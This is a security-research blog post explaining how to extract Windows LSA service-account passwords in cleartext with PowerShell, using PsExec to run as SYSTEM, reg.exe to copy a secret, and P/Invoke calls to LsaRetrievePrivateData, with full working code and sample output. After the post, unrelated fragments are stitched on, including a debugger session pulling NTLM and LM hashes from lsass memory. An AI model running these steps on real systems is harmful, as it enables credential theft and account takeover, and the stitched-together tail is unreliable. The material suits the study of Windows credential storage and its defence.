TrueSec Research Research in the field of advanced IT-Security

Reading Lsa Service Account Secrets using PowerShell

Reading Lsa Service Account Secrets using PowerShell

Intro

The Local Security Authority (Lsa) in Windows is designed to manage a Systems sec policy, auditing, logging users on to the system and storing private data such as Service Account Passwords, Cached Password hashes, FTP and Web-User Passwords, Remote Access Service (RAS) dial-up account Names and Passwords and Computer Account passwords for domain Access.

The LSA Secrets are stored under the HKLM:\Security\Policy\Secrets key. This key contains additional sub-keys that store encrypted Secrets. The HKLM:\Security\Policy\Secrets key is not accesible from regedit or other tools by default, but you can access it by running as SYSTEM.

Each Secret conatins five values:

• CurrVal - Current Encrypted Value
• CupdTime - Last Update Time
• OldVal - Old Value
• OupdTime
• SecDesc - Security Descriptor

Reference

Hacking Exposed
PassCape Software

P/Invoke

Windows PowerShell V 2.0 includes a Cmdlet, Add-Type, which is used to add a Microsoft .NET Framework type (a class) to a Windows PowerShell session. It's also possible to call native Windows APIs in Windows PowerShell.

If you want to learn how to call the Native Windows APIs, check out PInvoke.net. Pinvok.net is a wiki that allows developers to share PInvoke signatures, user-defined types, and any other info related to calling Win32 and other unmanaged APIs from managed code (C# VB.NET and PowerShell, Yaay).

As for this particular little example (I think Yngwie Malmsteen used those words in 'Arpeggios from hell') we'll check out advapi32 and the LsaRetrievePrivateData function. The function is described here.

Reference

P/Invoke
Yngwie Malmsteen

PowerShell

As mentioned earlier, you can't access the HKLM:\Security\Policy\Secrets key as a User, however, you can access it as SYSTEM. A simple way of running PowerShell as NT AUTHORITY\SYSTEM is by using psexec.exe.

PS > .\PsExec.exe -i -s powershell.exe

PS > whoami
nt authority\system

Step two is to use the sample code from P/Invoke in PowerShell. Thanks to the Add-Type CmdLet, we can simply place the C# sample code in a variable and pass it to the CmdLet using the MemberDefinition parameter.

$signature = @"
[StructLayout(LayoutKind.Sequential)]
public struct LSA_UNICODE_STRING
{
  public UInt16 Length;
  public UInt16 MaximumLength;
  public IntPtr Buffer;
}

[StructLayout(LayoutKind.Sequential)]
public struct LSA_OBJECT_ATTRIBUTES
{
  public int Length;
  public IntPtr RootDirectory;
  public LSA_UNICODE_STRING ObjectName;
  public uint Attributes;
  public IntPtr SecurityDescriptor;
  public IntPtr SecurityQualityOfService;
}

public enum LSA_AccessPolicy : long
{
  POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L,
  POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L,
  POLICY_GET_PRIVATE_INFORMATION = 0x00000004L,
  POLICY_TRUST_ADMIN = 0x00000008L,
  POLICY_CREATE_ACCOUNT = 0x00000010L,
  POLICY_CREATE_SECRET = 0x00000020L,
  POLICY_CREATE_PRIVILEGE = 0x00000040L,
  POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L,
  POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L,
  POLICY_AUDIT_LOG_ADMIN = 0x00000200L,
  POLICY_SERVER_ADMIN = 0x00000400L,
  POLICY_LOOKUP_NAMES = 0x00000800L,
  POLICY_NOTIFICATION = 0x00001000L
}

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaRetrievePrivateData(
  IntPtr PolicyHandle,
  ref LSA_UNICODE_STRING KeyName,
  out IntPtr PrivateData
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaStorePrivateData(
  IntPtr policyHandle,
  ref LSA_UNICODE_STRING KeyName,
  ref LSA_UNICODE_STRING PrivateData
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaOpenPolicy(
  ref LSA_UNICODE_STRING SystemName,
  ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,
  uint DesiredAccess,
  out IntPtr PolicyHandle
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaNtStatusToWinError(
  uint status
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaClose(
  IntPtr policyHandle
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaFreeMemory(
  IntPtr buffer
);
"@

Add-Type -MemberDefinition $signature -Name LSAUtil -Namespace LSAUtil

In the example above we store the Sample Code from P/Invoke in a variable and then use the Add-Type CmdLet to Add it to our PowerShell Session.

Now for the tricky part. You can access the Lsa Secrets for Service Accounts using the NT AUTHORITY\SYSTEM account but you can't decrypt them. To decrypt the Values you have to own them. How to solve this? The simplest way is to use the reg.exe command.

In this example i'll use the SC_OSearch14 key (SharePoint 2010 Timer) and create a temporary key where i'll copy each of the represented values described above.

"CurrVal","OldVal","OupdTime","CupdTime","SecDesc" | ForEach-Object {
  $copyFrom = "HKLM\SECURITY\Policy\Secrets\_SC_OSearch14\" + $_
  $copyTo = "HKLM\SECURITY\Policy\Secrets\MySecret\" + $_
  $regCopy = reg COPY $copyFrom $copyTo /s /f
}

Next, I'll create three objects holding the objectAtrtibutes, localSystem and secretName.

$objectAttributes = New-Object LSAUtil.LSAUtil+LSA_OBJECT_ATTRIBUTES
$objectAttributes.Length = 0
$objectAttributes.RootDirectory = [IntPtr]::Zero
$objectAttributes.Attributes = 0
$objectAttributes.SecurityDescriptor = [IntPtr]::Zero
$objectAttributes.SecurityQualityOfService = [IntPtr]::Zero

# localSystem
$localsystem = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING
$localsystem.Buffer = [IntPtr]::Zero
$localsystem.Length = 0
$localsystem.MaximumLength = 0

# Secret Name
$secretName = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING
$secretName.Buffer =
[System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("MySecret")
$secretName.Length =
[Uint16]("MySecret".Length * [System.Text.UnicodeEncoding]::CharSize)
$secretName.MaximumLength =
[Uint16](("MySecret".Length + 1) * [System.Text.UnicodeEncoding]::CharSize)

With the objects at hand i can go ahead and retrieve the Lsa Policy Handle.

$lsaPolicyHandle = [IntPtr]::Zero
[LSAUtil.LSAUtil+LSA_AccessPolicy]$access =
[LSAUtil.LSAUtil+LSA_AccessPolicy]::POLICY_GET_PRIVATE_INFORMATION
$lsaOpenPolicyHandle =
[LSAUtil.LSAUtil]::LSAOpenPolicy(
  [ref]$localSystem,
  [ref]$objectAttributes,
  $access,
  [ref]$lsaPolicyHandle
)

$lsaNtStatusToWinError = [LSAUtil.LSAUtil]::LsaNtStatusToWinError($ntsResult)

If the LsaOpenPolicy function works out, it returns '0', otherwise you'll have a nice error. A good tip is to check the output.

if($lsaOpenPolicyHandle -ne 0) {
  Write-Warning "lsaOpenPolicyHandle Windows Error Code: $lsaOpenPolicyHandle"
}

Next, we retrieve the Private Data using the LsaRetrievePrivateData function and close the LsaPolicyHandle.

$privateData = [IntPtr]::Zero
$ntsResult =
[LSAUtil.LSAUtil]::LsaRetrievePrivateData(
  $lsaPolicyHandle,
  [ref]$secretName,
  [ref]$privateData
)

$lsaClose = [LSAUtil.LSAUtil]::LsaClose($lsaPolicyHandle)

Again, it's a good idea to check the exit code from the LsaRetrievePrivateData function.

if($lsaNtStatusToWinError -ne 0) {
  Write-Warning "lsaNtsStatusToWinError: $lsaNtStatusToWinError"
}

Next step is to convert the output to a managed object and then convert it to a string.

[LSAUtil.LSAUtil+LSA_UNICODE_STRING]$secretData =
[LSAUtil.LSAUtil+LSA_UNICODE_STRING][System.Runtime.InteropServices.marshal]::PtrToStructure(
  $privateData,
  [LSAUtil.LSAUtil+LSA_UNICODE_STRING]
)

[string]$value = [System.Runtime.InteropServices.marshal]::PtrToStringAuto($secretData.Buffer)
$value = $value.SubString(0, ($secretData.Length / 2))
$freeMemory = [LSAUtil.LSAUtil]::LsaFreeMemory($privateData)

At this point, you should have a Password in clear text. To find the account associated with the '_SC_OSearch14' Service Account you can simply use WMI as demonstrated below.

$serviceName = "_SC_OSearch14" -Replace "^_SC_"
$service = Get-WmiObject -Query "SELECT StartName FROM Win32_Service WHERE Name = '$serviceName'"
$account = $service.StartName

Last step is to return the Account and Password as demonistraed below.

New-Object PSObject -Property @{
  Account = $account;
  SETEC_ASTRONOMY = $value
}

Account             SETEC_ASTRONOMY
-------             ---------------
POWERSHELL\spAdmin  Password1

I would like to thank my mentor and friend Johannes Gumbel for pointing me in the right direction regarding Lsa Secrets. Stay tuned for more.

Click here to download the Lsa PowerShell function

Usage

PS > Get-LsaSecret -Key "_SC_OSearch14"

PS > Split-Path (Get-ChildItem HKLM:\SECURITY\Policy\Secrets |
>> Select -ExpandProperty Name) -Leaf | Get-TSGSecDump

This post is also available at www.powershell.nu

<secret random 64-bit key>TICKET=user:7:malloryservice:10:x@user.int

DWORD Unknown1
VOID* UnknownPtr4
DWORD Unknown3
VOID* UnknownPtr4
…

DWORD Unknown
STRING KeyString
STRING Credential

USHORT Length
USHORT MaximumLength
PCHAR Buffer

…
NTSD ModLoad: 75010000 75017000   WSHTCPIP.dll
NTSD ModLoad: 67400000 67426000   DSSBASE.dll
eax=00000000 ebx=00000000 ecx=00000101 edx=ffffffff esi=00000000 edi=00000200
eip=77f9f9df esp=0080ffa8 ebp=0080ffb4 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000286
ntdll!DbgBreakPoint:
77f9f9df cc               int     3
0:018>

0:018> dd lsasrv!LsaPrivateHeap l1
dd lsasrv!LsaPrivateHeap l1
7665f650  00070000

0:018> !heap 00070000
!heap 00070000
Index   Address  Name      Debugging options enabled
  1:   00070000
    Segment at 00070000 to 00170000 (00040000 bytes committed)
  2:   00170000
  3:   00230000
  4:   00410000
  5:   00850000
  6:   009a0000
  7:   00dc0000
  8:   00e00000
  9:   00f40000
 10:   00f90000

0:018> s 00070000 00170000 'P' 'r' 'i' 'm' 'a' 'r' 'y'
s 00070000 00170000 'P' 'r' 'i' 'm' 'a' 'r' 'y'
000af698

0:018> s 00070000 00170000 98 f6 0a 00
s 00070000 00170000 98 f6 0a 00
000aec98

0:018> dd 000aec98-8 l6
dd 000aec98-8
000aec90  00000000 00080007 000af698 005f005e
000aeca0  000af198 000000ff 00040004 000e0100

0:018> db 000af198 l5e
db 000af198 l5e
000af198  0c 00 0e 00 34 00 00 00-1a 00 1c 00 42 00 00 00  ....4.......B...
000af1a8  31 d6 cf e0 d1 6a e9 31-b7 3c 59 d7 e0 c0 89 c0  1....j.1.<Y.....
000af1b8  aa d3 b4 35 b5 14 04 ee-aa d3 b4 35 b5 14 04 ee  ...5.......5....
000af1c8  00 01 00 00 57 00 32 00-4b 00 53 00 52 00 56 00  ....W.2.K.S.R.V.
000af1d8  00 00 41 00 64 00 6d 00-69 00 6e 00 69 00 73 00  ..A.d.m.i.n.i.s.
000af1e8  74 00 72 00 61 00 74 00-6f 00 72 00 00 00        t.r.a.t.o.r...
0:018> dd 000af198 l(5e/4)
dd 000af198 l(5e/4)
000af198  000e000c 00000034 001c001a 00000042
000af1a8  e0cfd631 31e96ad1 d7593cb7 c089c0e0
000af1b8  35b4d3aa ee0414b5 35b4d3aa ee0414b5
000af1c8  00000100 00320057 0053004b 00560052
000af1d8  00410000 006d0064 006e0069 00730069
000af1e8  00720074 00740061 0072006f

000af198  000e000c 000af1cc 001c001a 000af1da
000af1a8  e0cfd631 31e96ad1 d7593cb7 c089c0e0
000af1b8  35b4d3aa ee0414b5 35b4d3aa ee0414b5
000af1c8  00000100 00320057 0053004b 00560052
000af1d8  00410000 006d0064 006e0069 00730069
000af1e8  00720074 00740061 0072006f

STRING Domain
STRING Username
BYTE[16] NtlmHash
BYTE[16] LmHash

Domain.Length = 0xC
Domain.MaximumLength = 0xE
Domain.Buffer = 0x000AF1CC
Username.Length = 0x1A
Username.MaximumLength = 0x1C
Username.Buffer = 0x000AF1DA
NtlmHash[] = { 0x31, 0xd6, 0xcf, 0xe0, 0xd1, 0x6a, 0xe9, 0x31, 0xb7, 0x3c, 0x59, 0xd7, 0xe0, 0xc0, 0x89, 0xc0 }
LmHash[] = { 0xaa, 0xd3, 0xb4, 0x35, 0xb5, 0x14, 0x04, 0xee, 0xaa, 0xd3, 0xb4, 0x35, 0xb5, 0x14, 0x04, 0xee }

0:018> du 000af198+34 lc
du 000af198+34 lc
000af1cc  "W2KSRV"
0:018> du 000af198+42 l1a
du 000af198+42 l1a
000af1da  "Administrator"